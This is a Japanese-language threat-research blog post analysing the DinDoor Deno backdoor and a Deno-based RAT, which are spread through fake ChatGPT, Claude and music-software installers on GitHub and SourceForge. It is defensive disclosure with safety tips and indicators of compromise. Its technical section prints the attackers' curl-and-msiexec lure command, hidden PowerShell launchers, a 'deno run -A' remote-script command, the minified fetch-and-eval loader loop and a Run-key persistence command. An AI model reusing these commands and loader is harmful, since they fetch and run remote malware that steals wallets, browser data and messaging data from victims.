脅威ハンティング活動の中で、GitHubやSourceForge上で、ChatGPT、Claude、AutoTune、Kontaktなどの人気ソフトウェアを装った偽のインストーラーやプラグインが発見されました。これらは「DinDoor」として知られるDenoバックドアを配布しています。攻撃者は、乗っ取られたYouTube を利用して、これらのプラットフォームへのリンクを拡散しています。
DinDoorは最終的に、Deno JavaScriptランタイムも利用するステルス型リモートアクセス型トロイの木馬(RAT)など、さまざまな種類のマルウェアを展開する。
攻撃者は、従来の検知手法を回避するために、BunやDenoといった代替のJavaScriptランタイムを悪用するケースが増加しています。当社が最近実施した調査の一つでは、攻撃者がBunを初期感染ベクターとして利用し、NWHStealerを拡散させている実態を明らかにしました。また、3月には、ThreatDown 、攻撃者がDenoを利用して、ClickFixを餌とした多段階の感染チェーンを通じてCastleLoaderを配布している事例を確認しました。
これらのキャンペーンでは、Scoop(Windowsサードパーティ製インストーラー)とWinGet(Windows )を利用して、被害者のマシンにDenoをインストールします。その後、Denoランタイムを使用して、追加のペイロードを実行したり、ブラウザ、ウォレット、その他のアプリケーションからデータを盗み出したりできるRATを実行します。このRATには、Edge 悪意のあるトラフィックEdge 興味深いピアツーピア機能が備わっています。
マルウェアの拡散に悪用される正規のプラットフォーム
分析対象となった事例のほとんどにおいて、感染の連鎖は通常、GitHubやSourceForgeからダウンロードされたMSIファイルやPowerShellスクリプトを介して開始されます。ユーザーは通常、乗っ取られたYouTube を経由して、これらの悪意のあるリポジトリに誘導されます。これらの動画の再生回数は現在、合計で5万回を超えています。


乗っ取られたYouTube は、さまざまなソフトウェアを宣伝する投稿を行い、マルウェアを拡散するためにGitHubアカウントを頻繁に切り替えている。

この偽ソフトは、GitHubやSourceForgeなどのサイトから非公式ツール、クラック版ソフトウェア、あるいはコミュニティで配布されているインストーラーをダウンロードする傾向が強いクリエイター、AI愛好家、ゲーマー、技術に詳しいユーザーを標的にして設計されているようです。 ChatGPT、Claude、ZENOLOGY、Ableton Live、AutoTune、Kontaktといった正規のソフトウェアやブランドのインストーラーやプラグインを装った偽のMSIファイルやスクリプトが確認されています。

これらの悪意のあるリポジトリには、Windows コマンドが用意されています。これらのリポジトリは、ユーザーにターミナルを開いて悪意のあるコマンドをコピーするよう促し、そのコマンドによってGitHubからMSIファイルがダウンロードされ、実行されます。

悪意のあるGitHubアカウントは、人気のあるソフトウェアに関連する偽のソフトウェアやプラグインで埋め尽くされた複数のリポジトリを作成し、より多くのユーザーを誘い込もうとしている。

調査の結果、このバックドアはSourceForgeを通じて配布されており、正規のゲームソフト「GearUP」やAIによる透かし除去ソフト「BWR」を装っていたことが判明しました。


安全に過ごすには
攻撃者は「信頼」という要素を大いに利用しました。GitHubやSourceForgeは正規のプラットフォームであるため、偽のプロジェクトがより本物らしく見えてしまうのです。弊社はGitHubに連絡したところ、悪意のあるリポジトリは速やかに削除されましたが、今後も新たなものが現れる可能性があるとユーザーは認識しておく必要があります。
安全を確保するための簡単な方法をいくつかご紹介します:
- ソフトウェアは、必ず公式ベンダーのウェブサイトからダウンロードしてください。
- 有料ソフトウェアの「無料」版やクラック版、非公式版には注意してください。
- GitHub、SourceForge、フォーラム、ファイル共有サイトからのダウンロードには注意してください。特に、新規または見知らぬアカウントからのものは注意が必要です。
- 攻撃者は、このマルウェアをさまざまなプラットフォームに拡散させるため、新たなプロファイルを次々と作成し続けています。 何かをダウンロードする前に、開発者またはパブリッシャーのプロファイル、その信頼性、および作成された時期を確認してください。
- アーカイブの内容、画像、テキストファイルが、ダウンロードする予定だったものと一致しているか確認してください。アーカイブの名前や構造は、悪意のあるものによく見られるパターンに従っていることがよくあります。
- ファイルを実行する前に、発行元とデジタル署名を確認してください。Windows、通常はファイルを右クリックし、「プロパティ」>「デジタル署名」を選択することで確認できます。有効な署名があってもファイルの安全性が保証されるわけではありませんが、署名がない場合や不審な署名がある場合は、多くの場合、危険信号となります。
テクニカル分析
この悪意のあるGitHubリポジトリは、ユーザーにcmdを開いて悪意のあるコマンドを実行するよう促します。この悪意のあるコマンドは、GitHubからMSIファイルをダウンロードし、それを介してインストールします。 msiexec. これらのリポジトリには、同様の方法で感染チェーンを開始するためのPowerShellスクリプトが含まれている場合もあります。
GitHub上にホストされ、感染の連鎖を開始する悪意のあるコマンドの例:
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
MSIは、MSIで指定されたランダムなディレクトリにCMDファイルとPowerShellスクリプトを配置します InstallationFolder およびレジストリ値。これらのMSIについては、CMDファイルの代わりにJavaScriptが使用されていたり、追加のファイルが埋め込まれていたりするなど、さまざまな構造が確認されました。

このCMDファイルはPowerShellスクリプトを実行しますが、その名前は分析された感染チェーンによって異なります:
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

このPowerShellスクリプトは、以下の処理を行います:
- パッケージマネージャーのScoopがインストールされていることを確認し、インストールされていない場合は、公式のスクリプトを使用してインストールします。
get.scoop.sh. Scoopは、MicrosoftWindows向けの人気のあるオープンソースのコマンドライン型ソフトウェアインストーラー兼パッケージマネージャーです。 - WinGet(Windows Manager)が見つからない場合は、Scoopを使用してインストールします。
- Deno(JavaScript/TypeScriptランタイム)がインストールされていない場合、WinGetまたはScoopを使用してインストールします。
侵害されたマシンに追加のソフトウェアをインストールするために、パッケージマネージャーのScoopやWinGetを利用するという手法は、攻撃者にさらなる柔軟性をもたらす興味深いアプローチである。
WinGet を使用して Deno をインストールするために実行されたコマンド:
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
DinDoorのバックドア
次に、ダウンロードしたDeno実行ファイルを使用して、次の段階が実行されます:
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
返されるコード(内部名は「launcher-1」)は、次の段階(内部名は「launcher-2」)をダウンロードする小さなevalループ関数です。ダウンロードされたバックドアは、一般にDinDoorとして知られています。
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
このバックドアは、システムへの潜伏を維持し、侵害されたシステムに関する情報をコマンド&コントロール(C2)サーバーに送信するとともに、C2から返された追加のペイロードやコマンドを実行する。C2通信に使用されるHTTPエンドポイントは、分析対象の事例によって異なる。
このバックドアは、HTTPエンドポイントからIDを取得します(例: /security-pool) その後、そのIDを使用して、次のステージを /v2{ID}.js.
得られたステージは、以下を通じて実行されます stdin ディスクに書き込まれずに、次のコマンドを使用して:
deno run -A --no-check –
永続性を確保するため、このバックドアはPowerShellコマンドを実行し、以前に使用されたダウンローダー「launcher-1」を実行するRUNキーを作成します:
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
分析対象の事例において、このバックドアは複数のマルウェアファミリーを拡散させています。本ブログでは、拡散されたペイロードの一つである、Deno JavaScriptランタイムを利用するRATについて分析します。
Deno RAT
配信されたRATは、分析対象となった他のスクリプトと同様、Deno JavaScript環境を利用しており、デバイスの制御、コマンドやペイロードの実行、および組み込みのデータ窃取モジュールを通じた各種データの持ち出しを行うための完全な機能を備えている。
このRATに関する具体的な名称や開発元は確認できませんでした。過去には、設定ファイル内の特定の値に基づき、このRATは「Smokest」と呼ばれていました。コメントの記述スタイルが類似しており、インフラストラクチャも共通していることから、DinDoorの開発者とこのRATの開発者は、同一人物または同一のチームである可能性が示唆されます。
手を出してはいけないものを手に入れてしまった?
C2通信用のHTTPに加え、このRATは以下の機能もサポートしています WebSocket JSON値が isLiveEnabled C2からの戻り値がtrueに設定されています。

RATはさまざまなコマンドに対応しています(exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) および機能:
- 侵害されたデバイスのシステム情報を収集する
- WebSocketを介したカスタムVNC実装による完全な双方向制御
- Atomic Wallet、Exodus、Electrum、ByteCoinなど、50種類以上の暗号資産ウォレット拡張機能および10種類の暗号資産ソフトウェアフォルダを対象としています
- Chrome、Chromium、Brave、Edge、Avast Browser、Edge、Opera、Vivaldi、CentBrowser、Kometa、Orbitum、360Browser、Chromodoなどのブラウザからデータを収集します
- Telegram、Discord、およびLightcordのデータを抽出する
- クリップボードのデータを記録および変更する
- フォルダやファイルを一覧表示し、特定の拡張子を持つファイルから内容を抽出する
- さまざまな方法でスクリーンショットを撮影する
- 追加のペイロードを実行する
- 任意のプロセスを起動または終了する
- PowerShell でコマンドを実行する
- WebSocket 経由で SOCKS5 プロキシトンネルを確立する
RATの最も興味深い機能の一つは、Edge を利用してトラフィックを隠蔽し、検知を困難にするピアツーピア(P2P)ストリーミングモードです。
C2サーバーを経由せずにオペレーターへ直接ライブ動画をストリーミングするため、RATは隠されたEdge 起動し、Chrome Protocol(CDP)を介してこれに接続します。その後、Edge小さなWebRTC HTMLページを注入し、正規のブラウザをピアツーピアのビデオリレーに変えます。 Denoエージェントは被害者の画面をキャプチャしてH.264でエンコードし、CDP経由でEdge にフレームを送信します。Edge 、暗号化されたWebRTC DataChannelを介して、それらをオペレーターのブラウザに直接Edge 。直接接続を確立するために必要なSDPおよびICEシグナリングは、既存のC2 WebSocketを通じて交換されます。

RATはC2通信に以下のエンドポイントを使用しますが、これらはサンプルによって異なる場合があります:
/health: C2からの「OK」応答を確認する/token: 設定パラメータ、タスクの配信、結果、および抽出されたデータの受信/vnc/agent/: VNC通信に使用されるWebSocketパス
設定データはBase64エンコードされており、C2との通信において認証トークンとして送信されます。デコードされた設定データ:
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
このRATにはいくつかのバリエーションが存在することが判明しており、その中には「agent-lite」と呼ばれる「ライト」版も含まれている。このバージョンはごく一部のコマンドのみをサポートしており、C2通信にはCloudflare Workersを利用している。

謝辞
- DinDoor:https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest:https://x.com/vxunderground/status/2013006601133687004
妥協の指標(IOCs)
URL
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
ドメイン
claudescript[.]top: 配信サイトms-telemetry-gateway-us[.]com: C2dakatawebstick[.]com: C2ashpaltlonpro[.]com: C2cf-proxy[.]cloud-analytics-services[.]workers.dev: C2agilemast3r[.]duckdns[.]org: C2geralnewlong[.]com: C2hngfbgfbfb[.]cyou: C2logicalnewrestore[.]com: C2
IPアドレス
23[.]227[.]196[.]107: C245[.]137[.]99[.]121: C231[.]57[.]129[.]23: C266[.]78[.]40[.]107: C2193[.]233[.]198[.]132: C2
脅威を報告するだけでなく、取り除く
サイバーセキュリティのリスクは、ヘッドラインを超えて広がるべきではありません。今すぐMalwarebytes ダウンロードして、デバイスに脅威を持ち込まないようにしましょう。




